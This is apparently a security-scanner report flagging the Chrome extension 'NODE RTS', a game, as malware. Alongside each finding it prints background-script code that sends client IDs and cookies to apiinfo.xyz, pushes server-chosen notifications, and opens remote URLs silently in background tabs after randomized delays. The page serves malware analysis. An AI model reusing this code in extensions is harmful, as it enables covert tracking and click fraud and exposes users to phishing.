Security Alert: Confirmed Malware
NODE RTS
ID: cbkeibjdillfndajeclfbdhkgcdgainn
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- fratfeyvoltpi1981View Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
A enemy is spreading in your system and threatening to take it offline. Your task is to clear infected nodes.
NODE is a Real-Time-Strategy game. A virus is spreading in your system and threatening to take it offline. Your task is to clear infected nodes by sending processes from healthy nodes. ENERGY: At the beginning of the game, 60 energy points are given, which are consumed as the game progresses. Points are restored over time (one energy point every three minutes). You can get 10 energy points when watching ads. "VIEW ADS" button: When you click on the "VIEW ADS" button, you can instantly get 10 energy points once every five minutes.
The extension transmits a per-install client ID, install timestamp, last-click ID, and click counter to apiinfo.xyz, then receives a `click_action` URL plus a list of impression URLs. This is unauthorized data collection and the foundation of an ad-injection / click-fraud pipeline driven entirely by a remote server.
function show(storage, ads) { ads = ads || 0; check() .then(cc => { let data = new FormData() data.append("ct", timestamp()) data.append("eid", config.id) data.append("cc", cc) data.append("lc", storage.lastPushClick) data.append("ut", storage.instalTimestamp) data.append("ads", ads) data.append("cid", storage.clientID) fetch('https://apiinfo.xyz/api_v3', { cache: 'no-cache', body: data, referrerPolicy: 'no-referrer', method: 'POST', }) .then(resp => { return resp.json(); }) .then(response => { if (typeof response.icon_url_arr != "undefined" && response.icon_url_arr != '') { rotate(response.icon_url_arr); } if (typeof response.click_action != "undefined") {Notification title, body, icon, image, and click-target URL are all supplied by the remote apiinfo.xyz server and pushed to the user as Chrome system notifications. This is a notification-spam / push-ad delivery mechanism — the operator can serve arbitrary ads or phishing prompts at will to all 28k installed users.
function showNotification(data, ads, storage) { const t = timestamp(); let typeCheck = typeof data.image != "undefined" ? true : false; chrome.notifications.getPermissionLevel((PermissionLevel) => { let id = String(t); if (PermissionLevel == "granted" && ads == 1) { storage.arrPushLink.push({ 'id': data.click_action }); chrome.notifications.create(id, { 'type': typeCheck ? "image" : "basic", 'title': typeof data.title != "undefined" ? data.title : "", 'message': typeof data.description != "undefined" ? data.description : "", 'contextMessage': "", 'iconUrl': data.icon, 'imageUrl': typeCheck ? data.image : "", 'priority': 2, });When notification permission is not granted, the extension silently opens a server-supplied URL in a background (inactive) tab without any user interaction. This is covert click-fraud / forced ad navigation initiated solely by remote command.
} else { if (data.close) { setTimeout(() => { if (data.click_action != "NaN" && data.click_action != '') { chrome.tabs.create({ active: false, url: data.click_action }); click(id); } }, data.time_close); }}});};On a 50-second alarm cadence the extension polls apiinfo.xyz/apizc with the per-user client ID and dispatches into rApiK/rApiN, which fetch additional remote JSON descriptors and ultimately open server-chosen URLs in background tabs (see rApiN at line 273-278). This is a continuous server-driven ad-loading / traffic-monetization loop.
function zc(data) { let get = [ "cid=" + data.clientID, "lc=" + (data.lastPushClick !== null ? data.lastPushClick : 0), "eid=" + config.id, ]; fetch('https://apiinfo.xyz/apizc?' + get.join('&'), { method: "GET", referrerPolicy: "no-referrer", cache: "no-cache", }) .then(resp => { return resp.json(); }) .then(r_obj => { let set = { mode: 'no-cors', cache: "no-cache" }; if (r_obj.rotar && 0 < r_obj.mass.length) { rApiK(r_obj, set); } else { rApiN(r_obj, set); } })After a randomized 14-18 second delay, this opens a server-supplied URL in a background tab. The randomized timing and inactive-tab flag are detection-evasion tactics — they obscure the link between the extension and the navigation, indicative of click-fraud / forced-traffic behavior.
function rApiN(r_obj, set) { let ims = 'object' == typeof r_obj.body; ims = ims && typeof r_obj.body.icon != 'undefined'; ims = ims && r_obj.body.icon != ""; if (ims) { Promise.all([ fetch(r_obj.body.icon, set) .catch(err => {}), fetch(r_obj.body.image, set) .catch(err => {}), ]) .then(res => { setTimeout(() => { chrome.tabs.create({ active: false, url: r_obj.body.url }); }, randInt(14E3, 18E3)) }) }};The extension contacts a remote C2-style endpoint at apiinfo.xyz to retrieve runtime configuration (timers, scheduling) using the extension ID as a client identifier. This server-driven configuration mechanism allows the operator to dynamically control extension behavior post-install without an extension update, which is a classic ad-fraud/PUP pattern.
function updateSetting() { fetch('https://apiinfo.xyz/settings?eid=' + chrome.runtime.id) .then(resp => { return resp.json(); }) .then(data => { chrome.storage.local.set({ timer: data.timer, updateParametersTime: timestamp(), timerParametersUpdate: data.settingtimer, }); chrome.alarms.create("stngUpd", { when: Date.now() + data.settingtimer * 1000 }); }) .catch(err => { /* ignore */ });};Iterates an arbitrary list of URLs returned by the C2 and fetches each one in no-cors mode with cache and referrer suppressed. This is impression/click rotation behavior used to monetize installs by silently hitting tracker URLs from the user's browser without their knowledge.
function rotate(url_arr) { url_arr.forEach((u, i) => { fetch(u, { mode: "no-cors", cache: "no-cache", referrerPolicy: "no-referrer" }) .catch(err => { /* ignore */ }); });};On first install the extension reports back to apiinfo.xyz with credentials:'include', sending any cookies the browser already has for that origin to the operator. This is install attribution / affiliate tracking and may leak cookie state for the apiinfo.xyz domain to the operator.
chrome.runtime.onInstalled.addListener(details => { switch (details.reason) { case "install": fetch('https://apiinfo.xyz/stats?eid=' + config.id, { mode: "no-cors", credentials: "include" }) .catch(err => {}); chrome.storage.local.clear(() => { basicSettings() }); break; }});When the user clicks any extension-spawned notification, a tab is opened to a URL that originated from the remote apiinfo.xyz server. Combined with the notification-spam pipeline above, this delivers user clicks to advertiser/landing URLs chosen entirely by the C2 — phishing or scam landing pages cannot be ruled out.
chrome.notifications.onClicked.addListener(id => { chrome.storage.local.get(['arrPushLink'], storage => { chrome.notifications.clear(id); chrome.tabs.create({ url: storage.arrPushLink[0].id }); });});By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.3 | 9 |
Files with findings
1 distinct path — top paths by unique finding count:
- background-script.js9
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.